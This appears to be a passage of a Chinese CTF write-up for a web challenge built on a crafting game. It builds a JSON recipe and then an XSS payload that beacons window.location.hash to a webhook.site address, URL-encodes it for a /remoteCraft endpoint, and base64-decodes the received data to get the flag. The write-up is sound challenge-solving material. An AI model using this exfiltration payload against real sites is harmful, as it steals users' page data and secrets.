["Earth","Fire"],["Earth","Water"],["Magma","Mud"],["Earth","Obsidian"],["Obsidian","Water"],["Air","Water"],["Fire","Mist"],["Fog","Mud"],["Hot Spring","Sludge"],["Computer Chip","Steam Engine"],["Computer Chip","Fire"],["Artificial Intelligence","Data"],["Hot Spring","Steam Engine"],["Computer Chip","Electricity"],["Encryption","Software"],["Air","Earth"],["Fire","Steam Engine"],["Dust","Heat Engine"],["Fire","Sand"],["Glass","Software"],["Cybersecurity","Vulnerability"],["Magma","Mist"],["Air","Rock"],["Computer Chip","Software"],["Internet","Program"],["Exploit","Web Design"]

然后根据assert的条件,recipe必须是个数组,可以得到:

{"recipe":[["Earth","Fire"],["Earth","Water"],["Magma","Mud"],["Earth","Obsidian"],["Obsidian","Water"],["Air","Water"],["Fire","Mist"],["Fog","Mud"],["Hot Spring","Sludge"],["Computer Chip","Steam Engine"],["Computer Chip","Fire"],["Artificial Intelligence","Data"],["Hot Spring","Steam Engine"],["Computer Chip","Electricity"],["Encryption","Software"],["Air","Earth"],["Fire","Steam Engine"],["Dust","Heat Engine"],["Fire","Sand"],["Glass","Software"],["Cybersecurity","Vulnerability"],["Magma","Mist"],["Air","Rock"],["Computer Chip","Software"],["Internet","Program"],["Exploit","Web Design"]]}

然后放xss,这里由于要一个https的网址,所以我选用了webhook:

webhook

{"recipe":[["Earth","Fire"],["Earth","Water"],["Magma","Mud"],["Earth","Obsidian"],["Obsidian","Water"],["Air","Water"],["Fire","Mist"],["Fog","Mud"],["Hot Spring","Sludge"],["Computer Chip","Steam Engine"],["Computer Chip","Fire"],["Artificial Intelligence","Data"],["Hot Spring","Steam Engine"],["Computer Chip","Electricity"],["Encryption","Software"],["Air","Earth"],["Fire","Steam Engine"],["Dust","Heat Engine"],["Fire","Sand"],["Glass","Software"],["Cybersecurity","Vulnerability"],["Magma","Mist"],["Air","Rock"],["Computer Chip","Software"],["Internet","Program"],["Exploit","Web Design"]],"xss":"new PendingGetBeacon('https://webhook.site/a3588472-7e2e-48f9-9ed4-f0518d00be91/?res=' + window.location.hash.slice(1), {timeout:1000});"}

打到/remoteCraft?recipe=处:

在这里插入图片描述

这里要urlencode一下

remoteCraft?recipe=%7B%22recipe%22%3A%5B%5B%22Earth%22%2C%22Fire%22%5D%2C%5B%22Earth%22%2C%22Water%22%5D%2C%5B%22Magma%22%2C%22Mud%22%5D%2C%5B%22Earth%22%2C%22Obsidian%22%5D%2C%5B%22Obsidian%22%2C%22Water%22%5D%2C%5B%22Air%22%2C%22Water%22%5D%2C%5B%22Fire%22%2C%22Mist%22%5D%2C%5B%22Fog%22%2C%22Mud%22%5D%2C%5B%22Hot%20Spring%22%2C%22Sludge%22%5D%2C%5B%22Computer%20Chip%22%2C%22Steam%20Engine%22%5D%2C%5B%22Computer%20Chip%22%2C%22Fire%22%5D%2C%5B%22Artificial%20Intelligence%22%2C%22Data%22%5D%2C%5B%22Hot%20Spring%22%2C%22Steam%20Engine%22%5D%2C%5B%22Computer%20Chip%22%2C%22Electricity%22%5D%2C%5B%22Encryption%22%2C%22Software%22%5D%2C%5B%22Air%22%2C%22Earth%22%5D%2C%5B%22Fire%22%2C%22Steam%20Engine%22%5D%2C%5B%22Dust%22%2C%22Heat%20Engine%22%5D%2C%5B%22Fire%22%2C%22Sand%22%5D%2C%5B%22Glass%22%2C%22Software%22%5D%2C%5B%22Cybersecurity%22%2C%22Vulnerability%22%5D%2C%5B%22Magma%22%2C%22Mist%22%5D%2C%5B%22Air%22%2C%22Rock%22%5D%2C%5B%22Computer%20Chip%22%2C%22Software%22%5D%2C%5B%22Internet%22%2C%22Program%22%5D%2C%5B%22Exploit%22%2C%22Web%20Design%22%5D%5D%2C%22xss%22%3A%22new%20PendingGetBeacon('https%3A%2F%2Fwebhook.site%2Fa3588472-7e2e-48f9-9ed4-f0518d00be91%2F%3Fres%3D'%20%2B%20window.location.hash.slice(1)%2C%20%7Btimeout%3A1000%7D)%3B%22%7D

回到webhook已经收到res请求了

{%asset_img 19.png awa%}

对它base64解码即可出flag

  • 27
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值